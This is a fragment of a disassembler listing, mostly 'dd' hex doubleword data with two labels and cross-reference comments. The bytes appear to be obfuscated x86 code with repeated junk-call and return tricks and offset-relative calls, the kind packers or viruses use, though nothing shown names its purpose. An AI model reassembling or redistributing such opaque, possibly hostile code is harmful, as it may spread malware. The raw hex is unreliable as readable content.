52150000h, 66EF60C6h, 4A2A6800h dd 0E92215B8h, 13h, 93AA9A45h, 908B2CDh, 0C0930F4Dh, 0BE2F6E49h dd 5BCF6F56h, 0E428BA66h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8166CFC3h, 665970F3h dd 90D3CA81h, 7E8006Ah, 0 dd 2E724824h, 950392CAh, 6453325h, 0FD0FF5Ah, 0BD83DAB7h dd 6451E65h, 0E9850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6FAFC356h dd 1C91520Eh, 8B0E25BEh, 45180995h, 0D38B6606h, 2F51858Bh dd 8B560645h, 4506819Dh, 8FE95A06h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 5CC8C355h, 935F56Fh, 6D2025D0h, 6CE38166h, 7D9D8963h dd 9006452Ch, 8B0Fh, 51500000h, 5BD38B57h, 0BD31905Bh dd 645061Dh, 952B146Ah, 6450B1Dh, 312195FFh, 810F0645h dd 6, 7BD9D8Bh, 6A580645h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 4685C353h, 0C03821E2h dd 8D294EC4h, 645256Dh, 14F9BD89h, 38800645h, 98850F00h dd 8BFFFFFFh, 100C6DAh, 17A99D89h, 9D890645h, 6453151h dd 59950361h, 31064532h, 451FB585h, 99BD8306h, 64523h dd 6B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0C968F5C3h, 0F2F51A17h, 6660BFE8h dd 6127C081h, 0B4D8D01h, 6A610645h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0C90C9991h dd 2B20B383h, 0BF0FD1EAh, 2195FFDEh, 0F8064531h, 0FFFFCAE9h dd 52BA66FFh, 9985C7EAh, 1064523h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 4AD5C352h, 64BB66D9h, 98B0FC6h, 0F000000h, 382h, 0D18B6600h dd 4DBE8589h, 0DE8B0645h, 50D88B66h, 9CB86660h, 4896193h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 870D8088h, 15952315h, 60064529h, 0C7AFEB81h dd 0B5894B3Ah, 6451745h, 14E9056Ah, 0E5000000h, 0F928F2Fh dd 411DECAEh, 82531856h, 0CFFC2211h, 8D40A73Eh, 454DD685h dd 999D3106h, 5006450Bh, 489DD8Ah, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 3DA0730Ah dd 0B51C7619h, 21358D89h, 858D0645h, 6454DC6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C6C35040h, 408E2FBEh dd 6690D08Bh, 501CBABBh, 3EBB5357h, 5B1AEF06h, 9D8B905Bh dd 6451DBDh, 30D195FFh, 810F0645h, 3, 8D54F380h, 457A988Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 74C00BE3h, 0D6858D11h, 5006454Dh, 8589D1FFh dd 6454DF4h, 85C70AEBh, 6454DF4h, 0FFFFFFFFh, 3870Fh, 0B70F0000h dd 29958BD1h, 61064513h, 11E8h, 66592200h, 0C41A24DAh dd 0C1D60BD8h, 0CE5E306Ah, 11E934D9h, 75000000h, 4A06F2B3h dd 25ECD6ACh, 89D24804h, 0A0B29521h, 2985C65Bh, 4D064518h dd 329DBD31h, 62680645h, 0E97D3C4Ah, 0Dh, 0DDDED395h, 8D726135h dd 0A11B6FA2h, 240481C1h, 26F92C46h, 25619D89h, 0B5FF0645h dd 64530B5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0F8C35747h, 4659501h, 858D0645h, 64878B6h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 93C35545h, 8B095046h dd 45312595h, 0B2D0FF06h, 0B18589DDh, 6A064507h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 1A24C352h, 0D60BD8C4h, 0E1BD01C1h, 0C6064529h, 45182985h dd 9CBA4506h, 0E84277A0h, 4, 8E726969h, 810F5750h, 2, 8B5A15B6h dd 0F042444h, 1181h, 0BB525000h, 3A176002h, 8D0F310Fh dd 0 dd 8B585Ah, 4489D98Bh, 0E8570424h, 7, 0D342DD3h, 0F06AD73h dd 84h, 585A5A00h, 36C5D5BBh, 0D5B5FF1Bh, 80064509h, 858D8DCFh dd 64878B6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 16C35747h, 3A4CDB0Eh, 0FAA5A820h, 0CABB6653h, 0D0FF5BFCh dd 1E119533h, 85890645h, 645011Dh, 7E18BA66h, 9D8BD28Bh dd 6450D2Dh, 66D98C66h, 0F60B9DBBh, 840F04C1h, 1F0h, 0CE8h dd 416B5E00h, 0BC78AC94h, 90E9EC1Ah, 0B8F280FAh, 0BFE95Bh dd 81660000h, 8B8B12C3h, 4512E5B5h, 8D89F906h, 6451CFDh dd 1180C681h, 0D3810000h, 66F3EF12h, 169BD83h, 0F000645h dd 2D85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 89FCE0D4h, 4530D58Dh, 5FE906h, 0BA660000h dd 3E83DAFCh, 52840F00h, 66000000h, 6021B7BAh, 11D99D89h dd 146A0645h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0EDC35040h, 76D44A1Eh, 0D19531E1h, 0FF064514h dd 45312195h, 959D8B06h, 6106452Bh, 30CD9D2Bh, 0ABE90645h dd 1FFFFFFh, 4522C19Dh, 106C706h, 89000000h, 45103595h dd 0BEBD8306h, 506454Dh, 10A850Fh, 840F0000h, 6, 590FC281h dd 0B58B2CE3h, 645011Dh, 0D09958Bh, 64B90645h, 0F000000h dd 0C8Ah, 6840F00h, 8B000000h, 4504B19Dh, 0E83E8006h, 4E840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 37E996C3h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 28A8C357h dd 0FFF1C0ABh, 20D19D8Bh, 9D8B0645h, 6450161h, 0C2057E80h dd 73840Fh, 0B3460000h, 850F49B4h, 0FFFFFF95h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 8EC35141h, 80F990A7h dd 49E9D2F7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1D5AC356h, 3C70C6Fh dd 0B694D5E0h, 10E8B1h, 2E9E0000h, 2AE61B9Eh, 0EECDF718h dd 3E2A14D9h, 0EB810854h, 0A945A78h, 91B5895Ah, 0FC064502h dd 0CD8D8958h, 83064508h, 451C91BDh, 840F0006h, 0B7h, 58E0Fh dd 0F6BA0000h, 6019B3E6h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 29C35040h, 428C2A12h, 0B70F71DDh, 2985C6DFh dd 54064518h, 0DE953h, 0CD9E0000h, 0A5A3408Fh, 0EAF33E03h dd 5BCBB6E9h, 764FB268h, 665250B9h, 0F245CBAh, 5E931h dd 3CB70000h, 5A3D9EF8h, 24348158h, 4638F146h, 27BADC8Ah dd 0FF6585DDh, 4509D5B5h, 0B19D8B06h, 8D064514h, 4878B685h dd 0B1BA6606h, 9D0FF5Dh, 4502E19Dh, 9006A06h, 45023195h dd 91B5FF06h, 8A06451Ch, 0FD0FFD8h, 682h, 2D958B00h, 0F5064530h dd 6D958B61h, 0C7064530h, 45021585h, 106h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 79907E26h, 89CC7BE9h, 45050995h, 9D336006h, 6452B01h dd 4E8h, 8000h, 11880F00h, 0E9000000h, 0Ch, 940E593Ah dd 60C7E3B3h, 3DA751E6h, 5880F50h, 0BB000000h, 56493C9Eh dd 424448Bh, 8BA9B2h, 20850Fh, 0E8600000h, 12h, 4124B4Dh dd 11236CFh, 8F9BC7D4h, 105B094Eh, 505AE32Dh, 5A310F52h dd 44896158h, 0FA8A0424h, 0BD958B58h, 6A064532h, 9E8FFh dd 11E80000h, 0ED2268C8h, 663A3B77h, 0FF5ADF8Bh, 45328D95h dd 599D8B06h, 61064531h, 4919589h, 0F900645h, 1B89h, 13E85300h dd 58000000h, 19B67732h, 31E521F9h, 0FED8A50h, 0F472BE33h dd 5A5BD0A2h, 90E9B350h, 0BE8h, 9F4E8D00h, 9B7CAFE5h, 0DAC0EE22h dd 10E9h, 0E64B9100h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh dd 858B5B89h, 645098Dh, 0C00BD38Bh, 31840Fh, 0CE800000h dd 195FFA1h, 6A064503h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 12E3C351h, 0B8806DCCh dd 3195898Bh, 0C7064520h, 4524D585h, 106h, 0F99D2300h dd 8306450Dh, 450B71BDh, 840F0006h, 12h, 2C98D01h, 95FF0645h dd 64508A5h, 2F8D9523h, 0BD830645h, 64520F1h, 32840F00h dd 31000000h, 45249D9Dh, 959D3306h, 0FF064521h, 4513A195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0F8031F13h, 7DBD838Fh, 64510h, 21840Fh dd 69BB0000h, 837DACDFh, 451569BDh, 850F0006h, 0Fh, 9654BB66h dd 13195FFh, 0ADBA0645h, 832B6697h, 45226DBDh, 840F0006h dd 28h, 81D0BF0Fh, 4512FD85h, 400306h, 0BE900h, 24860000h dd 1493A346h, 85619E54h, 4185815Ch, 306452Ch, 0F5000040h dd 830F310Fh, 2, 8D8DB2B2h, 6455D18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0F3C35646h, 689B1260h, 0CE9F8FFh dd 8F000000h, 7662828Ah, 0FED33537h, 89E9E589h, 6BEA8101h dd 333C1847h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8D0187A6h, 645205Dh, 13E8h, 91EDEC00h dd 90DDDB05h, 7FCCC44Eh, 83E8F6AFh, 6B18FE80h, 38F0Fh dd 8B660000h, 41895BD9h, 5E904h, 0FA3F0000h, 66DF3467h dd 0F820ABAh, 56006A31h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0A8B6B44Fh, 719D896Bh, 0F064509h dd 0C8Ch, 6820F00h, 2B000000h, 45011995h, 328D8D06h, 8B06455Dh dd 8B0189D9h, 45171595h, 0FC23306h, 281h, 89FD8A00h, 8A0F0441h dd 6, 2EB19D0Bh, 0BD830645h, 6452379h, 69840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E81BC356h, 0Bh, 6421D6ABh, 0DBAFDA73h, 668D4F3Fh dd 0FF5AD18Bh, 45097D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FCBD2E0Fh dd 0FE9h, 0A5756600h, 37E36325h, 0F0B3D3F8h, 5CA552FAh dd 795BD83h, 0F010645h, 7285h, 0F9BD0100h, 0E9064508h dd 67h, 8D9D23h, 0F3810645h, 4E2BA2D8h, 5ECCB58Bh, 6C70645h dd 0 dd 5C7CB58Bh, 6C70645h, 0 dd 55006ACFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 918D89BDh, 6A064522h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 531CC355h dd 83D40BA6h, 4524D5BDh, 840F0006h, 148h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 0B4C35141h, 10C4120Bh dd 0BA51175Ch, 3782E179h, 85BD835Bh, 106450Dh, 0FF850Fh dd 0BD890000h, 6451CA1h, 4DB28D8Bh, 0CE90645h, 48000000h dd 69D2E82Fh, 0A3CB0D7Ch, 0C6520F86h, 85890001h, 6450BDDh dd 1FA1B589h, 6A600645h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 8D06C350h, 0B589EB6Eh dd 6452CE5h, 925958Bh, 0A7680645h, 0B3A7CD2Bh, 24048100h dd 5832D4D9h, 0BE9h, 0E420F00h, 0D681624Fh, 0B068F62Fh dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 9D7AC3h, 8D89E039h, 6451511h, 9919523h, 95FF0645h dd 645328Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0B5C35545h, 27B2E36Eh, 0FF7BB361h, 45330995h, 0EE906h dd 47060000h, 744FB07Fh, 8CA8019Eh, 4C069C78h, 4DB28D8Bh dd 8B600645h, 45236585h, 2D858B06h, 61064515h, 8B6601FEh dd 55BD83DAh, 1064501h, 6850Fh, 95890000h, 6451341h, 0BD89C08Bh dd 64532F5h, 30A1BD83h, 75000645h, 0BDBD8309h, 64504h dd 53501A74h, 858BC08Bh, 64512FDh, 12FD8589h, 9D8D0645h dd 647B56Ch, 585BD3FFh, 4BDBD83h, 74000645h, 8B535018h dd 4512FD85h, 0FD858906h, 8D064512h, 47B25B9Dh, 5BD3FF06h dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 2F99F22Ch, 4D9D0Bh, 0C08B0645h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 48C35242h, 1EB98D89h dd 9D230645h, 6452F21h, 24D5BD83h, 0F000645h, 3585h, 0B18D0900h dd 8306452Ch, 450181BDh, 840F0006h, 22h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 16C35545h, 2445B589h dd 0BD830645h, 64524D5h, 39840F00h, 89000000h, 45076585h dd 2DBD8306h, 64513h, 26840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0A5FB6AC3h dd 0F129392Bh, 0F864BB66h, 24D5BD83h, 0F000645h, 3684h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8166120Eh, 569D37DAh, 5BD8B70Fh, 132DBD83h dd 0F000645h, 284h, 8301B300h, 4524D5BDh, 840F0006h, 53h dd 30019501h, 89560645h, 45312DBDh, 0BD835B06h, 6453129h dd 38840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 89A4C350h, 452641BDh dd 11E906h, 898F0000h, 0C79601C4h, 0C65EB8BDh, 3719E64h dd 8308D9EAh, 4524D5BDh, 840F0006h, 4Dh, 15199D0Bh, 0BD830645h dd 6452865h, 3A840F00h, 60000000h, 6CDB7CB8h, 95FF6111h dd 6450049h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 59C35545h, 0E6A1A6h, 725CFDE8h, 5959529h, 0B70F0645h dd 6AC08BD3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E90FC355h, 14h, 5B6ABA80h, 9907CFBBh dd 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 30A1BD83h, 75000645h dd 0BDBD8309h, 64504h, 53501A74h, 858BC08Bh, 6452C41h dd 2C418589h, 9D8D0645h, 647B5D3h, 585BD3FFh, 4BDBD83h dd 74000645h, 8B535018h, 452C4185h, 41858906h, 8D06452Ch dd 47B2749Dh, 5BD3FF06h, 0DA816658h, 0EB81BAC4h, 27C57C55h dd 15D9533h, 0C08B0645h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 94C35141h, 999C219Eh, 25BA66A1h, 0D5BD83ABh dd 64524h, 400840Fh, 0D2800000h, 69BD8301h, 2064524h, 1A840Fh dd 9D290000h, 645236Dh, 0A218BA66h, 795BD83h, 0F010645h dd 385h, 18CF8000h, 3339BD83h, 0F000645h, 9884h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 8975F290h, 5C556B62h, 0EE8h, 717DD900h, 3DD97920h, 38B3FB58h dd 8B328312h, 4520B19Dh, 0F9605B06h, 4DB28D8Bh, 81660645h dd 0FED603C3h, 68DF8B01h, 0BBBD98DEh, 2810Fh, 0AEB20000h dd 0A2240481h, 29444267h, 451CCD85h, 60FF6A06h, 0FD68B66h dd 68Fh, 0F9BD2900h, 61064509h, 328D95FFh, 958B0645h, 6450BA1h dd 0BD236061h, 6452849h, 89BD8952h, 5906451Ch, 8D896061h dd 6451FC5h, 4DB28D8Bh, 81660645h, 0FE2E7FC3h, 1568FC01h dd 810B9F54h, 54952434h, 6A0B9Fh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0CF924FC3h, 0FF6A29F4h dd 0FFBF0F60h, 0CE9h, 1EB4000h, 97C06173h, 76CA2AE8h, 95FF61CFh dd 645328Dh, 1F69958Bh, 0F610645h, 0BD8DD3BFh, 6452A7Dh dd 179D958Bh, 4F8B0645h, 0A19D8B1Ch, 6A06451Ch, 0C3816601h dd 0BA9136AFh, 4304F2E0h, 10E850h dword_544450 dd 0D09A0000h, 386C8D6Ch, 0B9026165h, 0A59FE23h, 0D18B509Dh ; DATA XREF: ___:off_43CD24o dd 0B509915Ah, 6452A35h, 408F858Dh, 81660648h, 38B46F2h dd 452E9D95h, 0E9D0FF06h, 5, 6F3A2522h, 204F8BA3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B5C35545h, 0B6B160A8h dd 0FBB9EA63h, 971BA66h, 9D8B036Ah, 645222Dh, 89D08B50h dd 0FCB2240Ch, 408F858Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0B77725C3h, 81D0FF1Fh dd 264A32CAh, 7DBD8D08h, 8906452Ah, 4501FD8Dh, 1C4F8B06h dd 16AD38Bh, 26D8589h, 89500645h, 810F240Ch, 3, 8DD88B66h dd 48408F85h, 41BD8906h, 0FF064531h, 0C19D89D0h, 8B06451Eh dd 6A204Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 423883C3h, 6880Fh, 9D030000h, 645237Dh, 850F036Ah dd 2, 0F91D38Bh, 48Fh, 27BA6600h, 2B9150A7h, 450CA59Dh dd 8F858D06h, 0FF064840h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 974E75F9h dd 0CE10A656h, 4DB28D8Bh, 850F0645h, 5, 50D28166h, 6A01FEC8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 7ABEC357h, 0AEDBA021h, 8166C840h, 8B777FE3h dd 454DB285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 73EDA6DDh, 0E2CC798Dh, 6890Fh, 0B5890000h dd 6453301h, 800F00FEh, 19h, 14E9h, 8AB01400h, 9886124Dh dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 6A016AC1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 1556C351h, 41B50970h, 68064533h, 0D3D39E7Ah, 85243481h dd 6A2C2C01h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 413FC357h, 0F1EB9060h, 0E68061B0h dd 820F5037h, 2, 8D5BD18Bh, 48409985h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 2A24EA54h, 0C99D8BAEh, 0FF064502h, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 8C13F18Ch, 2E2BD4F5h, 0B75B589h, 89530645h, 453065B5h dd 0BD835A06h, 6450181h, 0FE840F00h, 66000000h, 163C281h dd 25BD83h, 0F010645h, 0EC85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 7A06A29Ah dd 0D9C838D9h, 8BD9D23h, 85890645h, 645063Dh, 6226D381h dd 8D8D12B8h, 64840A3h, 0FC036AFCh, 6A016Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 12A11AC3h dd 0DBF36512h, 699D8BB3h, 0F064500h, 381h, 0DEB70F00h dd 0FE8D1FFh, 0 dd 0D29EA75Ch, 0ED8BEE0Fh, 1FED9A46h, 2960E77Dh, 45334D8Dh dd 818D8B06h, 61064524h, 6A016A5Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 82D5C352h dd 0BD04B873h, 66016A27h, 0FF4A22BAh, 0D78B66D1h, 165D22E8h dd 52006AFAh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0D28003BFh, 6A206A52h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0BD2DC356h dd 8F624516h, 56A4892Fh, 5BD8BF0Fh, 3BD5BA66h, 0DE9FF6Ah dd 0E000000h, 0F66D92D5h, 980B8ADEh, 2A442620h, 5880Fh dd 81660000h, 0FF609BF2h, 45328D95h, 5D8D8906h, 0E906450Dh dd 13h, 8099DD5Ah, 77D7F634h, 0DD400945h, 8671AB77h, 0B82C6F3Dh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h dd 14B54477h, 0B5376A6h, 41840FC0h, 50000000h, 22A59533h dd 835B0645h, 451749BDh, 840F0006h, 2Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 0D3C35646h, 70458C03h dd 1E5D95FFh, 0BD890645h, 6451231h, 2F51858Bh, 0CA810645h dd 39726658h, 22E19D8Bh, 0C60645h, 0F99D8B00h, 5806452Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1CC35545h dd 0FE80CFFh, 0D000000h, 0BF0BBF59h, 4CEF26CDh, 9081146Eh dd 95892082h, 6450D31h, 8C66F85Bh, 5D8589D9h, 0F606452Bh dd 840F04C1h, 56h, 51E9h, 8D295600h, 6451599h, 0E5B58B5Ah dd 89064512h, 4530A5BDh, 80C68106h, 0BA000011h, 69507B45h dd 6C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0C21CD5C3h, 9D8B389Bh, 6451185h dd 2319589h, 6A5E0645h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8379C353h, 840F00F8h dd 0B2Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0C4C35242h, 93C11113h, 1F883D2h, 16A850Fh, 0FE90000h dd 3B000000h, 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 0B85397h dd 0BA000000h, 3BE10AEh, 840FC00Bh, 0BAh, 0CAD9D23h, 0F8830645h dd 0EE840F01h, 89000000h, 4501DDBDh, 3F88306h, 45840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 245E66C3h, 8BF128DEh, 4508FD9Dh, 56C02B06h dd 23B19D89h, 8D5A0645h, 5B7974BDh, 0DBB70F00h, 0D780E7FFh dd 959D8BF6h, 0B8064525h, 1, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 26C35141h, 66CB67D7h, 0E3BDDA81h dd 7974BD8Dh, 6A005Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3A4436C3h, 0FFD78B68h, 0A3FFBAE7h dd 0BD8D795Bh, 645443Eh, 0DE9DF8Bh, 0FB000000h, 0D4F7D963h dd 328A9F2Dh, 0A30EAEC1h, 290E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 568778FDh dd 552E9756h, 0D85C761h, 506454Eh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 7120C352h, 96E8136Dh, 9D29F7C8h, 64513B9h, 5B8h, 8AD88B00h dd 92EE9D3h, 0BD090000h, 6452A39h, 0F02F883h, 0F385h, 659D8B00h dd 0B8064515h, 0 dd 9C6AE281h, 0C00B5037h, 0AA840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D44996C3h dd 11E9CFh, 39180000h, 0AA6988h, 0F79F508Ch, 4CCCE34Ah dd 80279755h, 0F883A8CBh, 56840F01h, 89FFFFFFh, 4507D59Dh dd 3F88306h, 0FEAD840Fh, 0BB66FFFFh, 0C02B58B2h, 0D18ADF8Bh dd 7974BD8Dh, 9D8B005Bh, 6452F21h, 6AE7FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0C68FA3C3h dd 8642D75Bh, 0D98B3448h, 0FE8h, 760CD000h, 0DEC991A9h dd 1E3BDB7Bh, 6AFC4FC8h, 85895BF5h, 6452121h, 4636BD8Dh dd 10E80645h, 0B2000000h, 0B40CEEB6h, 2F07453Dh, 0B02ACE51h dd 662ABA40h, 0F24ADB81h, 133E95Ah, 8A0F0000h, 4, 0AF15BB66h dd 0F03F883h, 2585h, 5E800h, 3CE90000h, 80B0C5AAh, 8D5A08CEh dd 4547CABDh, 0C2816606h, 2E9CF0Ah, 50000001h, 0BB665BF5h dd 0F8832C12h, 0E850F05h, 89000000h, 451065B5h, 7EAE906h dd 8B660000h, 6F883D6h, 47850Fh, 9D8B0000h, 645306Dh, 49C2BD8Dh dd 6A0645h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E36EB5C3h, 0F2896510h, 9529F514h, 64509A1h dd 326D9D89h, 9AE90645h, 81000000h, 0DDED3EDAh, 7F88344h dd 46850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0B1D5D7C3h, 7AF66191h, 2BA18589h dd 0BD8D0645h, 6450E25h, 0C7FA2EBAh, 138E94Eh, 9E90000h dd 98000000h, 6AD4CE73h, 0A2C70555h, 0F0AF883h, 3C85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 43608AE5h, 8DDA15E0h, 454BBABDh, 0E2816606h dd 0BB66EC93h, 6E935E7h, 29000000h, 45285D85h, 81665706h dd 0B9D9AAD2h, 5492469Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0DAC35646h, 6167CBCh, 287E6E96h, 0F003F83h dd 8784h, 7ED28100h, 300C850Ch, 558D290Fh, 0D1064507h dd 0E96060C9h, 0Eh, 0A932A2CEh, 0FADD1535h, 8138DBDh, 5F53D160h dd 615FB061h, 53006A47h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 3183679Fh, 8B7190E6h, 4509659Dh dd 8D958906h, 0E9064518h, 0FFFFFF98h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 27C35040h, 887A1F34h, 0BBA88390h dd 776688F4h, 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 7428EBD9h, 1F9D9533h, 0BD890645h dd 6454DB6h, 8D8D18B3h, 6450331h, 28D9D8Bh, 0B5FF0645h dd 645011Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 6DC35545h, 6AECED29h, 93D43DBDh, 39858977h, 0E9064518h dd 9, 15CC3AB0h, 0F26B31EEh, 4B858D4Eh, 500647A8h, 5542BD8Dh dd 8D8D0645h, 6456F5Ch, 831ABCB8h, 30CF2B54h, 47C8D007h dd 8DF87549h, 456EC9B5h, 748D8D06h, 2B06456Fh, 33A4F3CFh dd 0B8C9h, 0C00B0000h, 0BD834674h, 6451749h, 0FF067400h dd 451E5D95h, 0B6B58B06h, 8D06454Dh, 47A84B85h, 8DD0FF06h dd 45421C85h, 0C7D0FF06h, 4503F985h, 106h, 1A58B00h, 8B064524h dd 45154DB5h, 0C5AD8B06h, 33064514h, 0CC2C0h, 332BBB66h dd 0E852006Ah db 3, 0 word_544F42 dw 0 ; DATA XREF: ___:off_435748o dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 9DC35242h, 0BD305FA2h dd 8160D9BBh, 0ECD275D6h, 618CB12Ah, 5E1BD83h, 0F000645h dd 3384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 7CE175DAh, 2948E380h, 45023DB5h dd 595FF06h, 0BA06450Bh, 67E3BB4Bh, 169BD83h, 0F000645h dd 1BD85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 3FE22CB7h, 893668CCh, 45197D95h dd 25BD8306h, 1064500h, 188850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0CF3A85C3h dd 6D21718Ch, 89E24CC3h, 4510F1BDh, 0D9BD8306h, 6452Ch dd 150840Fh, 95890000h, 64512B5h, 4E09BD83h, 0F000645h dd 13D84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0FCE46AFDh, 8E0F6029h, 6, 